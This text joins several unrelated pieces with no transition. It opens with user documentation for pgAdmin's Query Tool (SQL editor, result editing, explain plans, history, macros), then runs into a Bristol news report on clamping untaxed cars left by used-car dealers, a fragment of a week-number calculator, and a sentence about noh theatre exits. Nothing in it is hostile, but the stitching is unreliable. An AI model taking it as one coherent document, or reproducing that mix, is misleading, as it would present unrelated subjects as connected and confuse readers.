The Query Tool is a powerful, feature-rich environment that allows you to execute arbitrary SQL commands and review the result set. You can access the Query Tool via the Query Tool menu option on the Tools menu, or through the context menu of select nodes of the Browser tree control. The Query Tool allows you to:
Issue ad-hoc SQL queries.
Execute arbitrary SQL commands.
Edit the result set of a SELECT query if it is updatable.
Displays current connection and transaction status as configured by the user.
Save the data displayed in the output panel to a CSV file.
Review the execution plan of a SQL statement in either a text, a graphical format or a table format (similar to https://explain.depesz.com).
View analytical information about a SQL statement.
You can open multiple copies of the Query tool in individual tabs simultaneously. To close a copy of the Query tool, click the X in the upper-right hand corner of the tab bar.
The Query Tool features two panels:
The upper panel displays the SQL Editor. You can use the panel to enter, edit, or execute a query. It also shows the History tab which can be used to view the queries that have been executed in the session, and a Scratch Pad which can be used to hold text snippets during editing. If the Scratch Pad is closed, it can be re-opened (or additional ones opened) by right-clicking in the SQL Editor and other panels and adding a new panel.
The lower panel displays the Data Output panel. The tabbed panel displays the result set returned by a query, information about a query’s execution plan, server messages related to the query’s execution and any asynchronous notifications received from the server.
Toolbar¶
The toolbar is described in the following subsections.
The SQL Editor Panel¶
The SQL editor panel is a workspace where you can manually provide a query, copy a query from another source, or read a query from a file. The SQL editor features syntax coloring and autocompletion.
To use autocomplete, begin typing your query; when you would like the Query editor to suggest object names or commands that might be next in your query, press the Control+Space key combination. For example, type “SELECT * FROM” (without quotes, but with a trailing space), and then press the Control+Space key combination to select from a popup menu of autocomplete options.
After entering a query, select the Execute/Refresh icon from the toolbar. The complete contents of the SQL editor panel will be sent to the database server for execution. To execute only a section of the code that is displayed in the SQL editor, highlight the text that you want the server to execute, and click the Execute/Refresh icon.
The message returned by the server when a command executes is displayed on the Messages tab. If the command is successful, the Messages tab displays execution details.
Options on the Edit menu offer functionality that helps with code formatting and commenting:
The auto-indent feature will automatically indent text to the same depth as the previous line when you press the Return key.
Block indent text by selecting two or more lines and pressing the Tab key.
Implement or remove SQL style or toggle C style comment notation within your code.
You can also drag and drop certain objects from the treeview which can save time in typing long object names. Text containing the object name will be fully qualified with schema. Double quotes will be added if required. For functions and procedures, the function name along with parameter names will be pasted in the Query Tool.
The Data Output Panel¶
The Data Output panel displays data and statistics generated by the most recently executed query.
The Data Output tab displays the result set of the query in a table format. You can:
Select and copy from the displayed result set.
Use the Execute/Refresh options to retrieve query execution information and set query execution options.
Use the Download as CSV/TXT icon to download the content of the Data Output tab as a comma-delimited file.
Edit the data in the result set of a SELECT query if it is updatable.
A result set is updatable if:
All columns are either selected directly from a single table, or are not table columns at all (e.g. concatenation of 2 columns). Only columns that are selected directly from the table are editable, other columns are read-only.
All the primary key columns or OIDs of the table are selected in the result set.
Any columns that are renamed or selected more than once are also read-only.
Editable and read-only columns are identified using pencil and lock icons (respectively) in the column headers.
The psycopg2 driver version should be equal to or above 2.8 for updatable query result sets to work.
An updatable result set is identical to the Data Grid in View/Edit Data mode, and can be modified in the same way.
If Auto-commit is off, the data changes are made as part of the ongoing transaction, if no transaction is ongoing a new one is initiated. The data changes are not committed to the database unless the transaction is committed.
If any errors occur during saving (for example, trying to save NULL into a column with NOT NULL constraint) the data changes are rolled back to an automatically created SAVEPOINT to ensure any previously executed queries in the ongoing transaction are not rolled back.
All rowsets from previous queries or commands that are displayed in the Data Output panel will be discarded when you invoke another query; open another Query Tool tab to keep your previous results available.
Explain Panel¶
To generate the Explain or Explain Analyze plan of a query, click on Explain or Explain Analyze button in the toolbar.
More options related to Explain and Explain Analyze can be selected from the drop down on the right side of Explain Analyze button in the toolbar.
Please note that pgAdmin generates the Explain [Analyze] plan in JSON format.
On successful generation of Explain plan, it will create three tabs/panels under the Explain panel.
Graphical
Please note that EXPLAIN VERBOSE cannot be displayed graphically. Hover over an icon on the Graphical tab to review information about that item; a popup window will display information about the selected object. For information on JIT statistics, triggers and a summary, hover over the icon on top-right corner; a similar popup window will be displayed when appropriate.
Use the download button on top left corner of the Explain canvas to download the plan as an SVG file.
Note: Download as SVG is not supported on Internet Explorer.
Note that the query plan that accompanies the Explain analyze is available on the Data Output tab.
Table
Table tab shows the plan details in table format, it generates table format similar to explain.depsez.com. Each row of the table represent the data for a Explain Plan Node. It may contain the node information, exclusive timing, inclusive timing, actual vs planned rows differences, actual rows, planned rows, loops.
background color of the exclusive, inclusive, and Rows X columns may vary based on the difference between actual vs planned.
If percentage of the exclusive/inclusive timings of the total query time is: > 90 - Red color > 50 - Orange (between red and yellow) color > 10 - Yellow color
If planner mis-estimated number of rows (actual vs planned) by 10 times - Yellow color 100 times - Orange (between Red and Yellow) color 1000 times - Red color
Statistics
Statistics tab shows two tables: 1. Statistics per Plan Node Type 2. Statistics per Table
Messages Panel¶
Use the Messages tab to view information about the most recently executed query:
If the server returns an error, the error message will be displayed on the Messages tab, and the syntax that caused the error will be underlined in the SQL editor. If a query succeeds, the Messages tab displays how long the query took to complete and how many rows were retrieved:
Query History Panel¶
Use the Query History tab to review activity for the current session:
The Query History tab displays information about recent commands:
The date and time that a query was invoked.
The text of the query.
The number of rows returned by the query.
The amount of time it took the server to process the query and return a result set.
Messages returned by the server (not noted on the Messages tab).
The source of the query (indicated by icons corresponding to the toolbar).
You can show or hide the queries generated internally by pgAdmin (during ‘View/Edit Data’ or ‘Save Data’ operations).
To erase the content of the Query History tab, select Clear history from the Clear drop-down menu.
Query History is maintained across sessions for each database on a per-user
basis when running in Query Tool mode. In View/Edit Data mode, history is not
retained. By default, the last 20 queries are stored for each database. This
can be adjusted in config_local.py
or config_system.py
(see the
config.py documentation) by overriding the
MAX_QUERY_HIST_STORED value. See the Deployment section
for more information.
Connection Status¶
Use the Connection status feature to view the current connection and transaction status by clicking on the status icon in the Query Tool:
Change connection¶
User can connect to another server or database from existing open session of query tool.
Click on the connection link next to connection status.
Now click on the <New Connection> option from the dropdown.
Now select server, database, user, and role to connect and click OK.
A newly created connection will now get listed in the options.
To connect, select the newly created connection from the dropdown list.
Macros¶
Query Tool Macros enable you to execute pre-defined SQL queries with a single key press. Pre-defined queries can contain the placeholder $SELECTION$. Upon macro execution, the placeholder will be replaced with the currently selected text in the Query Editor pane of the Query Tool.
To create a macro, select the Manage Macros option from the Macros menu on the Query Tool. Select the key you wish to use, enter the name of the macro, and the query, optionally including the selection placeholder, and then click the Save button to store the macro.
To clear a macro, select the macro on the Manage Macros dialogue, and then click the Clear button.
The server will prompt you for confirmation to clear the macro.
To clear all macros, click on the Clear button on left side of the key. The server will prompt you for confirmation to clear all the rows.
To execute a macro, simply select the appropriate shortcut keys, or select it from the Macros menu.


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Clamp down on used car lots parking on streets illegally
Four untaxed and uninsured vehicles have been clamped and towed away
by Jasper KingUsed car lots, which have been parking their vehicles illegally on nearby streets, have been subjected to a DVLA crackdown.
A joint operation in St George between the police, Bristol City Council's parking enforcement team, and NSL, the contractors working for the DVLA, targeted two car sales yards who have been illegally parking vehicles on residential streets.
The latest raids took place in Nicholas Lane, John Wesley Road, Preacher Close and Dundridge Lane.
The area saw untaxed and uninsured vehicles clamped and towed away.
But one dealer tried to make a getaway with one of his vehicles leaving the contact worker trying to clamp it injured.
Councillor Fabian Brecels, the local Labour & Co-operative Councillor for St George Troopers Hill ward said the following.
"We have seen cars towed away that have been clogging up the streets of St George for months.
"These raids will now become more frequent, so the message to the car dealers is a simple one: become good neighbours or ship out.
"I would like to thank our Parking Enforcement Teams, the Police and NSL, the contractors working for the DVLA for working together to bring this raid about. It was a good result.
"The latest raids show that we are committed to tackling problem parking by some of Bristol's dealers. Bristolians will, I am sure, join us in wishing a speedy recovery and return to work to the clamper who hurt his hand when one dealer tried to make a getaway mid operation."
Bristol City Councillors have pushed for the DVLA to do more to tackle car sales yards on Bryants Hill and Nags Head Hill , which have a long history of parking illegally, much to the annoyance of local residents.
This includes leaving vehicles on double yellow lines which are untaxed and uninsured.
After the success of these raids in St George, similar joint operations are planned across other areas of Bristol.
For the latest news in and around Bristol, visit and bookmark Bristol Live's homepage.


To week number and back again
Helps me find out what week number a certain date is in
Week:
Dates in week
to
Date:
Week for date


Hashitomi’s shite is a young and elegant lady, so his slow exit is well in character. He exits the stage in silence, according to the tradition in the Morita School of nohkan featured here. However, when the shite is a deity, as it is the case in Kokaji, his exit is accompanied by music.